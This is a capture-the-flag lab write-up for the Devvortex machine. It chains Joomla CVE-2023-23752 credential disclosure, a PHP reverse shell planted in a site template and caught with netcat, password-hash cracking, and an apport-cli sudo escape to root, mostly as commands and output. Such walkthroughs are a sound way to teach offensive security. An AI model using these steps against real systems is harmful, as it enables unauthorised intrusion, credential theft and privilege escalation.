HERE IS MY WRITEUP-
Machine info[/align]
10.10.11.242 Linux
Enumeration
sudo nmap -sC -sV 10.10.11.242
[sudo] password for megatron:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 13:24 IST
Nmap scan report for 10.10.11.242
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.32 seconds
Fuzzing
nano /etc/hosts
10.10.11.242 devvortex.htb dev.devvortex.htb
megatron㉿kali)-[~/Desktop]
└─$ dirsearch -u http://dev.devvortex.htb/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/megatron/Desktop/reports/http_dev.devvortex.htb/__23-12-02_13-32-47.txt
Target: http://dev.devvortex.htb/
[13:32:47] Starting:
[13:32:51] 403 - 564B - /%2e%2e;/test
[13:32:52] 404 - 16B - /php
[13:33:32] 404 - 16B - /adminphp
[13:33:36] 403 - 564B - /admin/.config
[13:34:25] 301 - 178B - /administrator -> http://dev.devvortex.htb/administrator/
[13:34:26] 200 - 31B - /administrator/cache/
[13:34:26] 403 - 564B - /administrator/includes/
[13:34:26] 301 - 178B - /administrator/logs -> http://dev.devvortex.htb/administrator/logs/
[13:34:26] 200 - 12KB - /administrator/
[13:34:26] 200 - 31B - /administrator/logs/
[13:34:27] 200 - 12KB - /administrator/index.php
[13:34:38] 403 - 564B - /admpar/.ftppass
[13:34:38] 403 - 564B - /admrev/.ftppass
[13:34:43] 301 - 178B - /api -> http://dev.devvortex.htb/api/
[13:34:44] 404 - 54B - /api/2/issue/createmeta
[13:34:45] 404 - 54B - /api/
[13:34:45] 404 - 54B - /api/__swagger__/
[13:34:45] 404 - 54B - /api/2/explore/
[13:34:45] 404 - 54B - /api/_swagger_/
[13:34:45] 404 - 54B - /api/api
[13:34:45] 404 - 54B - /api/api-docs
[13:34:45] 404 - 54B - /api/apidocs
[13:34:45] 404 - 54B - /api/batch
[13:34:45] 404 - 54B - /api/apidocs/swagger.json
[13:34:45] 404 - 54B - /api/application.wadl
[13:34:45] 404 - 54B - /api/index.html
[13:34:45] 404 - 54B - /api/cask/graphql
[13:34:45] 404 - 54B - /api/jsonws/invoke
[13:34:45] 404 - 54B - /api/docs
[13:34:45] 404 - 54B - /api/package_search/v4/documentation
[13:34:45] 404 - 54B - /api/login.json
[13:34:45] 404 - 54B - /api/profile
[13:34:45] 404 - 54B - /api/docs/
[13:34:46] 404 - 54B - /api/config
[13:34:46] 404 - 54B - /api/error_log
[13:34:46] 404 - 54B - /api/jsonws
[13:34:46] 404 - 54B - /api/proxy
[13:34:46] 404 - 54B - /api/spec/swagger.json
[13:34:46] 404 - 54B - /api/snapshots
[13:34:46] 404 - 54B - /api/swagger
[13:34:46] 404 - 54B - /api/swagger-ui.html
[13:34:46] 404 - 54B - /api/swagger.json
[13:34:46] 404 - 54B - /api/swagger.yml
[13:34:46] 404 - 54B - /api/swagger.yaml
[13:34:46] 404 - 54B - /api/swagger/index.html
[13:34:46] 404 - 54B - /api/timelion/run
[13:34:46] 404 - 54B - /api/swagger/static/index.html
[13:34:46] 404 - 54B - /api/swagger/ui/index
[13:34:46] 404 - 54B - /api/swagger/swagger
[13:34:46] 404 - 54B - /api/v1
[13:34:46] 404 - 54B - /api/v1/swagger.json
[13:34:46] 404 - 54B - /api/v1/
[13:34:46] 404 - 54B - /api/v2/
[13:34:46] 404 - 54B - /api/v1/swagger.yaml
[13:34:47] 404 - 54B - /api/v2/swagger.json
[13:34:47] 404 - 54B - /api/v2
[13:34:47] 404 - 54B - /api/v2/helpdesk/discover
[13:34:47] 404 - 54B - /api/v4
[13:34:47] 404 - 54B - /api/v2/swagger.yaml
[13:34:47] 404 - 54B - /api/v3
[13:34:47] 404 - 54B - /api/version
[13:34:47] 404 - 54B - /api/vendor/phpunit/phpunit/phpunit
[13:34:47] 404 - 54B - /api/whoami
[13:35:06] 403 - 564B - /bitrix/.settings.bak
[13:35:06] 403 - 564B - /bitrix/.settings
[13:35:06] 403 - 564B - /bitrix/.settings.php.bak
[13:35:11] 301 - 178B - /cache -> http://dev.devvortex.htb/cache/
[13:35:11] 200 - 31B - /cache/
[13:35:12] 403 - 4KB - /cache/sql_error_latest.cgi
[13:35:20] 200 - 31B - /cli/
[13:35:24] 301 - 178B - /components -> http://dev.devvortex.htb/components/
[13:35:24] 200 - 31B - /components/
[13:35:28] 200 - 0B - /configuration.php
[13:36:00] 403 - 564B - /ext/.deps
[13:36:18] 200 - 7KB - /htaccess.txt
[13:36:22] 301 - 178B - /images -> http://dev.devvortex.htb/images/
[13:36:22] 200 - 31B - /images/
[13:36:23] 403 - 4KB - /images/c99.php
[13:36:23] 403 - 4KB - /images/Sym.php
[13:36:24] 301 - 178B - /includes -> http://dev.devvortex.htb/includes/
[13:36:24] 200 - 31B - /includes/
[13:36:37] 301 - 178B - /language -> http://dev.devvortex.htb/language/
[13:36:38] 200 - 31B - /layouts/
[13:36:39] 403 - 564B - /lib/flex/uploader/.project
[13:36:39] 403 - 564B - /lib/flex/uploader/.flexProperties
[13:36:39] 403 - 564B - /lib/flex/uploader/.settings
[13:36:39] 403 - 564B - /lib/flex/uploader/.actionScriptProperties
[13:36:39] 403 - 564B - /lib/flex/varien/.actionScriptProperties
[13:36:39] 403 - 564B - /lib/flex/varien/.project
[13:36:39] 403 - 564B - /lib/flex/varien/.flexLibProperties
[13:36:39] 403 - 564B - /lib/flex/varien/.settings
[13:36:39] 200 - 31B - /libraries/
[13:36:39] 301 - 178B - /libraries -> http://dev.devvortex.htb/libraries/
[13:36:40] 200 - 18KB - /LICENSE.txt
[13:36:55] 403 - 564B - /mailer/.env
[13:37:05] 301 - 178B - /media -> http://dev.devvortex.htb/media/
[13:37:06] 200 - 31B - /media/
[13:37:36] 301 - 178B - /modules -> http://dev.devvortex.htb/modules/
[13:37:36] 200 - 31B - /modules/
[13:37:39] 404 - 16B - /myadminphp
[13:38:28] 200 - 31B - /plugins/
[13:38:29] 301 - 178B - /plugins -> http://dev.devvortex.htb/plugins/
[13:38:40] 200 - 5KB - /README.txt
[13:38:44] 403 - 564B - /resources/.arch-internal-preview.css
[13:38:44] 403 - 564B - /resources/sass/.sass-cache/
[13:38:45] 200 - 764B - /robots.txt
[13:38:50] 404 - 4KB - /secure/ConfigurePortalPages!default.jspa?view=popular
[13:39:25] 200 - 31B - /templates/
[13:39:25] 301 - 178B - /templates -> http://dev.devvortex.htb/templates/
[13:39:25] 200 - 31B - /templates/index.html
[13:39:25] 200 - 0B - /templates/system/
[13:39:29] 200 - 31B - /tmp/
[13:39:29] 301 - 178B - /tmp -> http://dev.devvortex.htb/tmp/
[13:39:29] 403 - 4KB - /tmp/2.php
[13:39:29] 403 - 4KB - /tmp/admin.php
[13:39:30] 403 - 4KB - /tmp/Cgishell.pl
[13:39:30] 403 - 4KB - /tmp/cgi.pl
[13:39:30] 403 - 4KB - /tmp/changeall.php
[13:39:30] 403 - 4KB - /tmp/domaine.php
[13:39:30] 403 - 4KB - /tmp/dz1.php
[13:39:30] 403 - 4KB - /tmp/domaine.pl
[13:39:30] 403 - 4KB - /tmp/d0maine.php
[13:39:30] 403 - 4KB - /tmp/d.php
[13:39:30] 403 - 4KB - /tmp/cpn.php
[13:39:30] 403 - 4KB - /tmp/dz.php
[13:39:30] 403 - 4KB - /tmp/index.php
[13:39:30] 403 - 4KB - /tmp/priv8.php
[13:39:30] 403 - 4KB - /tmp/madspotshell.php
[13:39:30] 403 - 4KB - /tmp/killer.php
[13:39:30] 403 - 4KB - /tmp/L3b.php
[13:39:30] 403 - 4KB - /tmp/root.php
[13:39:30] 403 - 4KB - /tmp/Sym.php
[13:39:30] 403 - 4KB - /tmp/sql.php
[13:39:30] 403 - 4KB - /tmp/up.php
[13:39:30] 403 - 4KB - /tmp/upload.php
[13:39:30] 403 - 4KB - /tmp/uploads.php
[13:39:30] 403 - 4KB - /tmp/user.php
[13:39:30] 403 - 4KB - /tmp/xd.php
[13:39:30] 403 - 4KB - /tmp/vaga.php
[13:39:30] 403 - 4KB - /tmp/whmcs.php
[13:39:32] 403 - 564B - /twitter/.env
[13:39:50] 200 - 3KB - /web.config.txt
we found the Joomla version 4.2 and we found the CVE-2023-23752
https://github.com/0xNahim/CVE-2023-23752
sudo python /home/megatron/Desktop/devortex/CVE-2023-23752/exploit.py -u http://dev.devvortex.htb
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Sitename:Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption: 0
user-lewis
pass-P4ntherg0t1n5r3c0n##
nano /etc/hosts
add-http://dev.devvortex.htb/administrator
now login add user pass
navigate to
System -> Site Templates -> Cassiopeia -> Create esketit.php(anyname.php)
add the code from this=https://github.com/pentestmonkey/php-reverse-shell/tree/master
this code=https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
replace ip and port with your netcat
and then save the php file .
now visit the link of php file that you create on another tab- for meits =http://dev.devvortex.htb/templates/cassiopeia/esketit.php
nc -nvlp 2222
listening on [any] 2222 ...
connect to [10.10.16.18] from (UNKNOWN) [10.10.11.242] 42452
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
08:31:47 up 14 min, 1 user, load average: 4.56, 5.27, 3.53
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
logan pts/0 10.10.16.16 08:18 3.00s 0.56s 0.56s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
now login the database
mysql -h localhost -u lewis -pP4ntherg0t1n5r3c0n#
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> use joomla;
Database changed
mysql> show tables
-> ;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
[...SNIP...]
| sd4fg_users |
[...SNIP...]
71 rows in set (0.01 sec)
mysql> select * from sd4fg_users;
[...SNIP...]
logan | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | 0 | 0 | 2023-09-26 19:15:42 | NULL | | {"admin_style":"","ad","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}
2 rows in set (0.00 sec)
now crack password by any method=
user=logan
pass=$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
cracked pass=tequieromucho
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@devvortex:/$ export TERM=xterm
export TERM=xterm
Change user with su logan. For privilege escalation we check the sudoers
www-data@devvortex:/$ su logan
su logan
Password: tequieromucho
logan@devvortex:/$ whoami
whoami
logan
And we find this vulnerability so we have to execute as sudo the app and escape to get a shell
https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb
logan@devvortex:/$ apport-cli -v
apport-cli -v
2.20.11
logan@devvortex:/$ sleep 30 &
sleep 30 &
[1] 2062
logan@devvortex:/$ killall -SIGSEGV sleep
killall -SIGSEGV sleep
logan@devvortex:/$ cd var/crash
cd var/crash
[1]+ Segmentation fault (core dumped) sleep 30 (wd: /)
(wd now: /var/crash)
logan@devvortex:/var/crash$ sudo apport-cli _usr_bin_sleep.1000.crash
sudo apport-cli _usr_bin_sleep.1000.crash
[sudo] password for logan: tequieromucho
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (29.9 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): v
v^J
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
bin/bash: -c: line 0: `done'
!done (press RETURN)!/bin/bash type=!/bin/bash
root@devvortex:/var/crash# cd /root
cd /root
root@devvortex:~# cat root.txt
cat root.txt
*****************************
root@devvortex:~# cat /home/logan/user.txt
cat /home/logan/user.txt
*******************************
done!!!!
[align=left]
